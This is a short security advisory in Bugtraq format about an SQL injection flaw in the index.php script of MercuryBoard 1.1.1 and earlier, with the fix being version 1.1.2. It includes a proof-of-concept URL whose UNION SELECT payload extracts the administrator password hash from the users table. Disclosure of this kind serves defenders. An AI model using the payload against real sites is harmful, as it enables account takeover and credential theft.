MercuryBoard INDEX.PHP SQL Injection Vulnerability

BID:12503

Info

MercuryBoard INDEX.PHP SQL Injection Vulnerability

Bugtraq ID: 12503
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Feb 09 2005 12:00AM
Updated: Feb 09 2005 12:00AM
Credit: Discovery is credited to Zeelock <[email protected]>.
Vulnerable: MercuryBoard Message Board 1.1.1
MercuryBoard Message Board 1.1
Not Vulnerable: MercuryBoard Message Board 1.1.2

Discussion

MercuryBoard INDEX.PHP SQL Injection Vulnerability

MercuryBoard is affected by an SQL injection vulnerability. This issue is due to the application failing to properly sanitize user-supplied input before being used in SQL queries.

The vulnerability is reported to affect the 'index.php' script.

MercuryBoard 1.1.1 and prior versions are affected by this vulnerability.

Exploit / POC

MercuryBoard INDEX.PHP SQL Injection Vulnerability

The following proof of concept can disclose the administrator password hash:

http://www.example.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION
%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20
=%201%20limit%201/*

Solution / Fix

MercuryBoard INDEX.PHP SQL Injection Vulnerability

Solution:
It is reported that MercuryBoard 1.1.2 addresses this issue.


MercuryBoard Message Board 1.1

MercuryBoard Message Board 1.1.1

References

MercuryBoard INDEX.PHP SQL Injection Vulnerability

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